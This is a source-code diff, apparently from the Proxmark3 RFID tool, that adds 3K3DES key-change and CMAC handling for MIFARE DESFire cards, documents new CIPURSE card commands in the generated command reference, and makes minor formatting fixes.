03 - csPkt[0] = 0xC4; + csPkt[0] = MFDES_CHANGE_KEY; memcpy(&csPkt[1], data, 18); desfire_crc32(csPkt, 19, data + 1 + cmdcnt); + } else if (new_algo == MFDES_ALGO_3K3DES) { + // 3K3Des checksum must cover : C4 + csPkt[0] = MFDES_CHANGE_KEY; + memcpy (&csPkt[1], data, 25); + desfire_crc32(csPkt, 26, data + 1 + cmdcnt); } else { desfire_crc32_append(data + 1, cmdcnt); } @@ -1298,8 +1326,8 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n uint8_t *p = mifare_cryto_preprocess_data(tag, data + 1, (size_t *)&cmdcnt, 0, MDCM_ENCIPHERED | ENC_COMMAND | NO_CRC); apdu.Lc = (uint8_t)cmdcnt + 1; -// apdu.data = p; -// the above data pointed to from p did not have the key no. at the start, so copy preprocessed data after the key no. + // apdu.data = p; + // the above data pointed to from p did not have the key no. at the start, so copy preprocessed data after the key no. memcpy(&data[1], p, cmdcnt); apdu.data = data; @@ -1319,11 +1347,17 @@ static int mifare_desfire_change_key(uint8_t key_no, uint8_t *new_key, uint8_t n size_t sn = recv_len; - if (new_algo == MFDES_ALGO_AES) { + + if ((new_algo == MFDES_ALGO_AES) || (new_algo == MFDES_ALGO_3K3DES)) + { // AES expects us to Calculate CMAC for status byte : OK 0x00 (0x91 00) // As such if we get this far without an error, we should be good // Since we are dropping the field, we dont need to maintain the CMAC etc. // Setting sn = 1 will allow the post process to just exit (as status only) + + // Simular 3K3Des has some work to validate, but as long as the reply code was 00 + // e.g. 02 fe ec 77 ca 13 e0 c2 06 [91 00 (OK)] 69 67 + sn = 1; } @@ -1608,6 +1642,15 @@ static int handler_desfire_getuid(uint8_t *uid) { sAPDU apdu = {0x90, MFDES_GET_UID, 0x00, 0x00, 0x00, NULL}; //0x51 uint32_t recv_len = 0; uint16_t sw = 0; + + // Setup the pre-process to update the IV etc. (not needed in the apdu to send to card) + size_t plen = 1; + uint8_t tmp_data[100] = { 0x00 }; // Note sure on size, but 100 is more then enough + tmp_data[0] = MFDES_GET_UID; + int8_t *p = mifare_cryto_preprocess_data(tag, tmp_data, &plen, 0, MDCM_PLAIN | CMAC_COMMAND); + (void)p; + + // Send request/apdu int res = send_desfire_cmd(&apdu, false, uid, &recv_len, &sw, 0, true); if (res != PM3_SUCCESS) @@ -1616,6 +1659,13 @@ static int handler_desfire_getuid(uint8_t *uid) { if (sw != status(MFDES_S_OPERATION_OK)) return PM3_ESOFT; + // decrypt response + size_t dlen = recv_len; + p = mifare_cryto_postprocess_data(tag, uid, &dlen, CMAC_COMMAND | CMAC_VERIFY | MAC_VERIFY | MDCM_ENCIPHERED); + (void)p; + + DropFieldDesfire(); + return res; } @@ -2389,7 +2439,27 @@ static int CmdHF14ADesGetUID(const char *Cmd) { PrintAndLogEx(ERR, "Error on getting uid."); return res; } - PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, sizeof(uid))); + + // This could be done better. by the crc calc checks. + // Extract the Card UID length (needs rework to allow for 10 Byte UID + uint8_t uidlen = 16; + + // Get datalen + by removing padding. + while ((uidlen > 0) && (uid[uidlen] == 0x00)) + uidlen--; + + if (tag->authentication_scheme == AS_LEGACY) + uidlen -= 2; // 2 byte crc + else + uidlen -= 4; // 4 byte crc + + if (uidlen <= 4) // < incase we trimmed a CRC 00 or more + uidlen = 4; + else + uidlen = 7; + +// PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, sizeof(uid))); + PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(uid, uidlen)); return res; } @@ -2839,6 +2909,9 @@ static int CmdHF14ADesCreateFile(const char *Cmd) { memcpy(aid, (uint8_t *)&tag->selected_application, 3); } + // int res; + // a select here seems to invalidate the current authentication with AMK and create file fails if not open access. + // This will be managed when we track Authenticated or Note, so a place holder comment as a reminder. int res = handler_desfire_select_application(aid); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Couldn't select aid. Error %d", res); diff --git a/doc/commands.json b/doc/commands.json index 6ccdc03c5..04f5535af 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -973,7 +973,7 @@ }, "help": { "command": "help", - "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log /home/phil/.proxmark3/logs/log_20210604.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", + "description": "help use ` help` for details of a command prefs { edit client/device preferences... } -------- ----------------------- technology ----------------------- analyse { analyse utils... } data { plot window / data buffer manipulation... } emv { emv iso-14443 / iso-7816... } hf { high frequency commands... } hw { hardware commands... } lf { low frequency commands... } nfc { nfc commands... } reveng { crc calculations from reveng software... } smart { smart card iso-7816 commands... } script { scripting commands... } trace { trace manipulation... } wiegand { wiegand format manipulation... } -------- ----------------------- general ----------------------- clear clear screen hints turn hints on / off msleep add a pause in milliseconds rem add a text line in log file quit exit exit program [=] session log e:\\proxspace\\pm3/.proxmark3/logs/log_20210618.txt --------------------------------------------------------------------------------------- auto available offline: no run lf search / hf search / data plot / data save", "notes": [ "auto" ], @@ -1682,6 +1682,123 @@ ], "usage": "hf 15 writedsfid [-h*2o] [-u ] [--ua] --dsfid " }, + "hf cipurse aread": { + "command": "hf cipurse aread", + "description": "read file attributes by file id with key id and key", + "notes": [ + "hf cipurse aread -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file attributes with id 2ff7", + "hf cipurse aread -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file attributes" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "--noauth read file attributes without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level", + "--sel-adf show info about adf itself", + "--sel-mf show info about master file" + ], + "usage": "hf cipurse aread [-hav] [-n ] [-k ] [-f ] [--noauth] [--sreq ] [--sresp ] [--sel-adf] [--sel-mf]" + }, + "hf cipurse auth": { + "command": "hf cipurse auth", + "description": "authenticate with key id and key", + "notes": [ + "hf cipurse auth -> authenticate with keyid=1 and key = 7373...7373", + "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -> authenticate with key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate" + ], + "usage": "hf cipurse auth [-hav] [-n ] [-k ]" + }, + "hf cipurse delete": { + "command": "hf cipurse delete", + "description": "read file by file id with key id and key", + "notes": [ + "hf cipurse delete -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and delete file with id 2ff7", + "hf cipurse delete -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and delete file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level" + ], + "usage": "hf cipurse delete [-hav] [-n ] [-k ] [-f ] [--sreq ] [--sresp ]" + }, + "hf cipurse help": { + "command": "hf cipurse help", + "description": "help this help. --------------------------------------------------------------------------------------- hf cipurse info available offline: no get info from cipurse tags", + "notes": [ + "hf cipurse info" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "hf cipurse info [-h]" + }, + "hf cipurse read": { + "command": "hf cipurse read", + "description": "read file by file id with key id and key", + "notes": [ + "hf cipurse read -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and read file with id 2ff7", + "hf cipurse read -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and read file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "-o, --offset offset for reading data from file", + "--noauth read file without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level" + ], + "usage": "hf cipurse read [-hav] [-n ] [-k ] [-f ] [-o ] [--noauth] [--sreq ] [--sresp ]" + }, + "hf cipurse write": { + "command": "hf cipurse write", + "description": "write file by file id with key id and key", + "notes": [ + "hf cipurse write -f 2ff7 -> authenticate with keyid=1 and key = 7373...7373 and write file with id 2ff7", + "hf cipurse write -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> authenticate with specified key and write file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a, --apdu show apdu requests and responses", + "-v, --verbose show technical data", + "-n, --keyid key id", + "-k, --key key for authenticate", + "-f, --file file id", + "-o, --offset offset for reading data from file", + "--noauth read file without authentication", + "--sreq communication reader-picc security level", + "--sresp communication picc-reader security level", + "-c, --content new file content" + ], + "usage": "hf cipurse write [-hav] [-n ] [-k ] [-f ] [-o ] [--noauth] [--sreq ] [--sresp ] [-c ]" + }, "hf emrtd help": { "command": "hf emrtd help", "description": "help this help info display info about an emrtd list list iso 14443a/7816 history --------------------------------------------------------------------------------------- hf emrtd dump available offline: no dump all files on an emrtd", @@ -2049,7 +2166,7 @@ }, "hf fido assert": { "command": "hf fido assert", - "description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory)", + "description": "execute a fido2 get assertion command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - needs if `rk` option is `false` (authenticator doesn't store credential to its memory) - for yubikey there must be only one option `\"up\": true` or false", "notes": [ "hf fido assert -> default parameters file `fido2_defparams.json`", "hf fido assert -f test.json -l -> use parameters file `text.json` and add to request credentialid" @@ -2128,7 +2245,7 @@ }, "hf fido make": { "command": "hf fido make", - "description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`.", + "description": "execute a fido2 make credential command. needs json file with parameters. sample file `fido2_defparams.json` in `client/resources/`. - for yubikey there must be only one option `\"rk\": true` or false", "notes": [ "hf fido make -> use default parameters file `fido2_defparams.json`", "hf fido make -f test.json -> use parameters file `text.json`" @@ -2169,7 +2286,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- high frequency ----------------------- 14a { iso14443a rfids... } 14b { iso14443b rfids... } 15 { iso15693 rfids... } cipurse { cipurse transport cards... } epa { german identification card... } emrtd { machine readable travel document... } felica { iso18092 / felica rfids... } fido { fido and fido2 authenticators... } jooki { jooki rfids... } iclass { iclass rfids... } legic { legic rfids... } lto { lto cartridge memory rfids... } mf { mifare rfids... } mfp { mifare plus rfids... } mfu { mifare ultralight rfids... } mfdes { mifare desfire rfids... } seos { seos rfids... } st25ta { st25ta rfids... } thinfilm { thinfilm rfids... } topaz { topaz (nfc type 1) rfids... } waveshare { waveshare nfc epaper... } ----------- --------------------- general --------------------- help this help list list protocol data in trace buffer search search for known hf tags --------------------------------------------------------------------------------------- hf list available offline: yes alias of `trace list -t raw` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", "notes": [ "hf list -f -> show frame delay times", "hf list -1 -> use trace buffer" @@ -4609,9 +4726,10 @@ ], "offline": true, "options": [ - "-h, --help this help" + "-h, --help this help", + "-v, --verbose verbose output" ], - "usage": "hf search [-h]" + "usage": "hf search [-hv]" }, "hf seos help": { "command": "hf seos help", @@ -4943,8 +5061,8 @@ "command": "hw connect", "description": "connects to a proxmark3 device via specified serial port. baudrate here is only for physical uart or uart-bt, not for usb-cdc or blue shark add-on", "notes": [ - "hw connect -p /dev/ttyacm0", - "hw connect -p /dev/ttyacm0 -b 115200" + "hw connect -p com3", + "hw connect -p com3 -b 115200" ], "offline": true, "options": [ @@ -9061,8 +9179,8 @@ } }, "metadata": { - "commands_extracted": 564, + "commands_extracted": 570, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2021-06-04T19:57:00" + "extracted_on": "2021-06-18T09:04:45" } } \ No newline at end of file diff --git a/doc/commands.md b/doc/commands.md index c9340634c..32f98bdef 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -234,6 +234,21 @@ Check column "offline" for their availability. |`hf 15 csetuid `|N |`Set UID for magic card` +### hf cipurse + + { Cipurse transport Cards... } + +|command |offline |description +|------- |------- |----------- +|`hf cipurse help `|Y |`This help.` +|`hf cipurse info `|N |`Info about Cipurse tag.` +|`hf cipurse auth `|N |`Authentication.` +|`hf cipurse read `|N |`Read binary file.` +|`hf cipurse write `|N |`Write binary file.` +|`hf cipurse aread `|N |`Read file attributes.` +|`hf cipurse delete `|N |`Delete file.` + + ### hf epa { German Identification Card... } diff --git a/tools/fpga_compress/fpga_compress.c b/tools/fpga_compress/fpga_compress.c index 003236994..005f805c4 100644 --- a/tools/fpga_compress/fpga_compress.c +++ b/tools/fpga_compress/fpga_compress.c @@ -227,8 +227,8 @@ static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, total_size = 0; // FPGA bit file ends with 16 zeroes for (uint16_t j = 0; j < num_outfiles; j++) { - outfilesizes[j] += 16; - total_size += outfilesizes[j]; + outfilesizes[j] += 16; + total_size += outfilesizes[j]; } offset = 0; for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) {